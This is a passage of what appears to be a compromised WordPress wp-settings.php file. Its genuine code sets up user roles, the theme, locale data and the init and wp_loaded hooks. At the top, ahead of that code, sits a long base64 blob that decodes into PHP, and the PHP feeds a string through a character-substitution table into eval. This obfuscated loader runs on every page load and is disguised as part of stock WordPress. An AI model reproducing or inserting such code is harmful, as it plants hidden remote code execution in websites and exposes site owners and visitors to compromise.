3ckd5Q2lmeUVyQmt3ckJrd3JCQUQ2T0FKU3ZSd1JCTVhaa1J3ckJrVVZmeUVaa1J3ckJrVVlPNzFNT0k2dScuCid2UlVNMFBWRnZBSjVoNzFHcTd0MmlrdDNxN1A2TGt3MnFZeEhlbHFDOVF0Y09JbmFmeUVyQmt3clRGQ2lCa3dyQmt3ckJrdzJlSXgnLgonQ3Fqd1ZCSURjMFF6UVp4VjJlN1p1ZUl6RURJRGMwUXpRWnhWMnE5dGNpbFhaa3JDaUJrd3JCa3dyQmt3MjBzdHUwWXg1ZUpWRnE5dEVCZkNycXNaR3RRSkN5UScuCidWYnY3VjN6c3R1MFl4NWVqcmFCa2dyQlJLUldGQ2lCa3dyQmt3ckJrdzIwc3R1MFl4NWVKVkZxOXRFQmZDckRBJy4KJ1pDdnNEY2VRSkcwSXhDaGt3M0JBWlBxNVpDMFJjYmVmekVCWVpjcVFjNkJSMlhCZndYQmZ6YUJrZ3JCNktSQmtncnY3eVBpa3QzcTcnLgonUDZCa2dycXNaR3RRSkNqSVZIT2tyYWlsWFprckNpZnlFckJrd3JCa3dyQklaSDlRZWF2SUpHT3NEYU9JekVEQVpDdnNEY2VRSkcwSXhDaGtGcnFzWkdlNzFNMDU2RicuCidPa3IyZUl4Q3FqRnJxc1pHdFFKQ2pJVkhPa3JhaWoyNGZ5RXJCa3dyR3lDaWZ5RXJCaycuCid3cmU1SjNxc3RhdlFncnFzWkcwSXBQZVE2MzlzRDZ2anIydll4YmVqMlprUndyQmtVNGZ5RXJCaycuCid3ckJrd3JCa3RIT0lWU3E3TzY5c1VjT0lycm1qVU0wUFZBZTl0ZnZRUGJ2UTFsT0lWU3E3TzZpazIzQmtCdUJNWFprUndyQmt3ckJrd3JEQVpDdnNEY2VRSkcwSXhDaCcuCidrd1ZCa3RIT0lWU3E3TzY5c1VjT0lyckxSVUhPN0RIT0FCRXY3eVBpa0RNcTdaRWVqQmFMa3dGTGt3UGlqdzNCa0RHQlJ3M0JJUCcuCicyWmpyMnZZeGJlanczQklaSDlDTzZPbmN1MHN5RWlqMjRmeUVaa1J3ckJrd3JCa3dyaDdxcmlJZWF2SUpHZTljYTBzdEhpa3RIT0lWU3E3TzY5c1VjT0lyYWl5Q2lCJy4KJ2t3ckJrd3JCa1U0ZnlFckJrd3JCa3dyQmt3ckJrVXdPNzFYaDcxTmlrdEhPSVZTcTdPNjlzVWNPSXJhV0ZDaUInLgona3dyQmt3ckJrVVZmeUVyQmt3ckd5Q2lmeUVyQmt3cmU1SjNxc3RhdlFncnFzWkcwSXBQZVE2MzknLgonUXB1cTd5RURJMWN2N3pWbDZKb2xrMlprUndyQmtVNGZ5RXJCa3dyQmt3ckJrdEhPSVZTcTdPNjlzVWNPSXJybWpVTTBQVkFlOXRmdlFQYnZRMWwnLgonT0lWU3E3TzZpazI0ZnlFWmtSd3JCa3dyQmt3cmg3cXJpSTZIOVF0YTBScjIwc3R1MFl4NWVKVkZxOXRFaWoyWmtSd3JCa3dyQmt3clRGQ2lCa3dyQmt3ckJrd3InLgonQmt3cmg3cXJpa3QzcTdQNkJmQ1ZCbjFKbG5GYUJrS3VCSXB1cTd5cnE3cFhCQVVYTzdPYXY1b1prUndyQmt3ckJrd3JCJy4KJ2t3ckJBWFprUndyQmt3ckJrd3JCa3dyQmt3ckJrVVl2c0Q2cTdaRUJrY0hxUXgzZUk2U2lrdEhPSVZTcTdPNjlzVWNPSXJhQkl4SEJrdCcuCidOZTkyVm1SdEZ2QUo1aDcxR3ZZeGJlajJaa1J3ckJrd3JCa3dyQmt3ckJrd3JCa1U0ZnlFckJrd3JCa3dyQmt3ckJrd3JCa3dyQmt3ckJJNllCa2NIT0FERnZzb0VEQVVYTzcnLgonT2F2NlYzcTdQNkxrVUhPN0RIT0FCRXY3eVBpa0RNcTdaRWVqQmFMa3dGTGt3UGlqMnJCbEMnLgonVkJuZWN2QVo2aXlDaUJrd3JCa3dyQmt3ckJrd3JCa3dyQmt3ckJrVTRmeUVyQmt3ckJrd3JCa3dyQmt3ckJrd3JCa3dyQmt3ckJrVXdlOWVjdmtjTTBQVjJlN1pTVDlVQ2knLgonSVpIOVFlYXZJSkcwWUpjZWtyMjBzdHUwWXg1ZUpWRnE5dEVCa2dyQlJLUkJrZ3JEQVVYTzdPYXY2VjNxN1A2aWpGcicuCidxc1pHdFFKQ2pJVkhPa3JhaWoyNGZ5RXJCa3dyQmt3ckJrd3JCa3dyQmt3ckJrd3JCQUNaa1J3ckJrd3JCa3dyQmt3ckJrd3JCa1VWZnlFckJrd3JCa3dyQmt3ckJrJy4KJ1VWZnlFckJrd3JCa3dyQmt3ckJrVTZ2QVo2ZnlFckJrd3JCa3dyQmt3ckJrVTRmeUVyQmt3ckInLgona3dyQmt3ckJrd3JCa3dyREFaQ3ZzRGNlUUpHMEl4Q2hrd1ZCa3RIT0lWU3E3TzY5c1VjT0lyckxSd1JMU0JyTCcuCidSVUhPN0RIT0FCRXY3eVBpa0RNcTdaRWVqQmFMa3dGTGt3UGlqdzNCa0RHQlJ3M0JJUDJaanIydll4YmVqdzNCSVpIOUNPNk9uY3Uwc3lFaWoyNGZ5Jy4KJ0Vaa1J3ckJrd3JCa3dyQmt3ckJrd3JCa1VhZVJ3RWVZNlhlSlY2VEk2SE9Bb0VEQVpDdnNEY2VRSkcwSXhDaGsyYWZ5RXJCa3dyQmt3ckJrd3JCa3dyQmt3clRGQ2lCJy4KJ2t3ckJrd3JCa3dyQmt3ckJrd3JCa3dyQmtVd2U5ZWN2a2NNMFBWMmU3WlNUOVVDaUlaSDlRZWF2SUpHMFlKY2VrcjIwc3R1MFl4NWVKVkZxOXRFaWpGcnFzJy4KJ1pHdFFKQ2pJVkhPa3JhaWoyNGZ5RXJCa3dyQmt3ckJrd3JCa3dyQmt3ckd5Q2lCa3dyQmt3ckJrd3JCa3dyR3lDaUJrd3JCa3dyQmtVVmZ5RXJCJy4KJ2t3ckd5Q2lmeUVyQmt3cmU1SjNxc3RhdlFncnFzWkdPc0RhT0l4UnZJSkdxUWM2cVFYRWl5Jy4KJ0NpQmt3ckJBWFprUndyQmt3ckJrd3JoN3FyaUFaQzBZcDZ2UmNNMFBWQWU5dGZ2UVBidlExbE9JVlNxN082aWsyYUJrblYnLgonQmZ3YWZ5RXJCa3dyQmt3ckJBWFprUndyQmt3ckJrd3JCa3dyQkFENk9BSlN2UlV6MDVKNldGQ2lCa3cnLgonckJrd3JCa1VWZnlFckJrd3JCa3dyQklKWDBRelprUndyQmt3ckJrd3JURkNpQmt3ckJrd3JCa3dyQmt3cjBZSkNPOUQzJy4KJ0JuZWN2QVo2V0ZDaUJrd3JCa3dyQmtVVmZ5RXJCa3dyR3lDaWZ5RXJCa3dyZVlWU2U3eE1oa3dFRHhWZmxDVkwnLgonanp6cnE5b3JESWI2VGxDK0RBZWN2QUo2aXlDaUJrd3JCQVhaa1J3ckJrd3JCa3dyREl0Y09JbnJtancyTycuCidZeFhPN3o0ZnlFckJrd3JCa3dyQmt0MnE5dGM5UWI2VGp3VkJrdE5lOTI0ZnlFckJrd3JHeUNpZnlFckJrd3JoN3FyaWtuMmVJeENxajJaa1J3ckJrVTRmeScuCidFckJrd3JCa3dyQklldTBZSmNxUXJyaWt0R3puVmxKa1VjMFN3MmhRSjFtbGcyT1l4WE83Jy4KJ3phZnlFckJrd3JCa3dyQkFYWmtSd3JCa3dyQmt3ckJrd3JCa3QycTl0Y0JmQ3JEQWVjdkFKNldGQ2lCa3dyQmt3ckJrd3JCa3dyREl0Y09JeEdoUUoxQmYnLgonQ3JESWI2VGxYWmtSd3JCa3dyQmt3ckd5Q2lCa3dyQkFDWmtyQ2lCa3dyQmt0MnE5dGNCZkNyeUFKMzBRSlNoN3hYaDlhNicuCidpSVpIOVF0NnFzRDEwQXlFcVl4SGVscUM5UXQ2cVFWMmVqcjJlSXhDcWoyWEJrdDJxOXRjOVFiNlRqMmFXRkNpZnlFcicuCidCa3dyaDdxcmlJNkgwUUpDaWt0MnE5dGM3U09jaFNPT2lqd1lEUncycXNaR3E5SkNoZkNWREl0Y09JeHZEUXhORFBDYWZ5RXJCa3dyJy4KJ1RGQ2lCa3dyQmt3ckJrVWFlUndFREl0Y09JeHZEUW41OWp3Vm1qdzVoajBhZnlFckJrd3JCa3dyQkFYWmtSd3JCa3dyQmt3ckJrd3JCaycuCid0YUJmQ3J5OURTcTkyRWZ5RXJCa3dyQmt3ckJrd3JCa3dyQmt3ckRzVVFEU3dWbVJVdzBJY0ZPWUpTJy4KJzBRNnV2UnJhTHdDaUJrd3JCa3dyQmt3ckJrd3JCa3dyQmtPSE9SMHJtbGdyREhuM29rQ1NEU0Zaa1J3ckJrd3JCa3dyQmsnLgond3JCa3dyQmt3NXE3WDVCZkMrQmt0MnE5dGM3U09jaFNPT0x3Q2lCa3dyQmt3ckJrd3JCa3dyaWxYWmtSd3JCa3dyQmt3ckJrd3JCSUpNaElLcnlBJy4KJ1o2MFk2Y3ZJNjhlanIyaGoyNGZ5RXJCa3dyQmt3ckJrd3JCa1U2VEk2Q1dGQ2lCa3dyJy4KJ0Jrd3JCa1VWZnlFckJrd3JCa3dyQklKWDBRSmFlUndFREl0Y09JeHZEUW41OWp3Vm1qdzVlajBhZnlFckJrd3JCa3dyQkFYWmtSd3JCa3dyQmt3ckJrd3JCSUpRcTdGRURJJy4KJ3RjT0l4dkRReTU5ajI0ZnlFckJrd3JCa3dyQkFDWmtSd3JCa3dyQmt3cmU3cEhlNzZZQmtyMmVJeENxSlg1cWonLgonT09CZkNWQmtPRnZBSjVoN2c1aXlDaUJrd3JCa3dyQmtVNGZ5RXJCa3dyQmt3ckJrd3JCa1VhZVJyMmVJeENxSlg1MFFuNTlqd1Ztanc1cTd0MicuCidEUzJaa1J3ckJrd3JCa3dyQmt3ckJBWFprUndyQmt3ckJrd3JCa3dyQmt3ckJrVU0wUFZGdkFKNWg3MUdxN3QyaWt0MnE5dGM3U09GRFAnLgonQ1hCa3QycTl0YzdTTzJEUENhV0ZDaUJrd3JCa3dyQmt3ckJrd3JHeUNpQmt3ckJrd3JCa3dyQmt3cmU3cEhlNzZZaWt0MnE5dGM3U09IcWpPJy4KJ09CZkNWQmtPU2U3QzVpeUNpQmt3ckJrd3JCa3dyQmt3clRGQ2lCa3dyQmt3ckJrd3JCa3dyQmt3cicuCidCSVpIOXNVWE83T2F2NlZTZTdDRURJdGNPSXh2RHN3NTlqMjRmeUVyQmt3ckJrd3JCa3dyQmtVVmZ5RXJCa3dyQmt3ckJBQ1prUndyQmt3Jy4KJ3JCa3dyZTdaRXZTdzJlSXhDcUpYNXE3WDU5bFhaa1J3ckJrd3JCa3dyZTljYU9rcmFXRkNpQmt3ckJBQ1prckNpQmt3ckJJWkg5cycuCidVWE83T2F2NlZYdlF4MmlrMjRmeWFWJzsKJHZudnpkZWpjID0gQXJyYXkoJzEnPT4nNScsICcwJz0+J2MnLCAnMyc9Pid1JywgJzInPT4naycsICc1Jz0+J24nLCAnNCc9Pic3JywgJzcnPT4nVycsICc2Jz0+J2wnLCAnOSc9PidYJywgJzgnPT4nNicsICdBJz0+J0gnLCAnQyc9PicwJywgJ0InPT4nSScsICdFJz0+J28nLCAnRCc9PidKJywgJ0cnPT4nZicsICdGJz0+J3cnLCAnSSc9PidHJywgJ0gnPT4neicsICdLJz0+JzgnLCAnSic9PidWJywgJ00nPT4naicsICdMJz0+J0wnLCAnTyc9PidkJywgJ04nPT4ncicsICdRJz0+JzInLCAnUCc9PicxJywgJ1MnPT4neScsICdSJz0+J2knLCAnVSc9PidCJywgJ1QnPT4nZScsICdXJz0+J08nLCAnVic9Pic5JywgJ1knPT4nbScsICdYJz0+J3MnLCAnWic9PidOJywgJ2EnPT4ncCcsICdjJz0+J2gnLCAnYic9Pid0JywgJ2UnPT4nWicsICdkJz0+J3EnLCAnZyc9Pic0JywgJ2YnPT4nRCcsICdpJz0+J0snLCAnaCc9PidhJywgJ2snPT4nQycsICdqJz0+J1MnLCAnbSc9PidQJywgJ2wnPT4nVCcsICdvJz0+J00nLCAnbic9PidFJywgJ3EnPT4nWScsICdwJz0+J3gnLCAncyc9PiczJywgJ3InPT4nZycsICd1Jz0+J3YnLCAndCc9PidSJywgJ3cnPT4nQScsICd2Jz0+J2InLCAneSc9PidRJywgJ3gnPT4nRicsICd6Jz0+J1UnKTsKZXZhbC8qd2Zydmd0cnFoKi8oZGRkYWd4cHdwKCR0Y2Vqc3VpY3ZqLCAkdm52emRlamMpKTsKfQ==")); /*dPress User Roles * @global object $wp_roles * @since 2.0.0 */ $GLOBALS['wp_roles'] = new WP_Roles(); /** * Fires before the theme is loaded. * * @since 2.6.0 */ do_action( 'setup_theme' ); // Define the template related constants. wp_templating_constants( ); // Load the default text localization domain. load_default_textdomain(); $locale = get_locale(); $locale_file = WP_LANG_DIR . "/$locale.php"; if ( ( 0 === validate_file( $locale ) ) && is_readable( $locale_file ) ) require( $locale_file ); unset( $locale_file ); // Pull in locale data after loading text domain. require_once( ABSPATH . WPINC . '/locale.php' ); /** * WordPress Locale object for loading locale domain date and various strings. * @global object $wp_locale * @since 2.1.0 */ $GLOBALS['wp_locale'] = new WP_Locale(); // Load the functions for the active theme, for both parent and child theme if applicable. if ( ! defined( 'WP_INSTALLING' ) || 'wp-activate.php' === $pagenow ) { if ( TEMPLATEPATH !== STYLESHEETPATH && file_exists( STYLESHEETPATH . '/functions.php' ) ) include( STYLESHEETPATH . '/functions.php' ); if ( file_exists( TEMPLATEPATH . '/functions.php' ) ) include( TEMPLATEPATH . '/functions.php' ); } /** * Fires after the theme is loaded. * * @since 3.0.0 */ do_action( 'after_setup_theme' ); // Set up current user. $GLOBALS['wp']->init(); /** * Fires after WordPress has finished loading but before any headers are sent. * * Most of WP is loaded at this stage, and the user is authenticated. WP continues * to load on the init hook that follows (e.g. widgets), and many plugins instantiate * themselves on it for all sorts of reasons (e.g. they need a user, a taxonomy, etc.). * * If you wish to plug an action once WP is loaded, use the wp_loaded hook below. * * @since 1.5.0 */ do_action( 'init' ); // Check site status if ( is_multisite() ) { if ( true !== ( $file = ms_site_check() ) ) { require( $file ); die(); } unset($file); } /** * This hook is fired once WP, all plugins, and the theme are fully loaded and instantiated. * * AJAX requests should use wp-admin/admin-ajax.php. admin-ajax.php can handle requests for * users not logged in. * * @link https://codex.wordpress.org/AJAX_in_Plugins * * @since 3.0.0 */ do_action( 'wp_loaded' );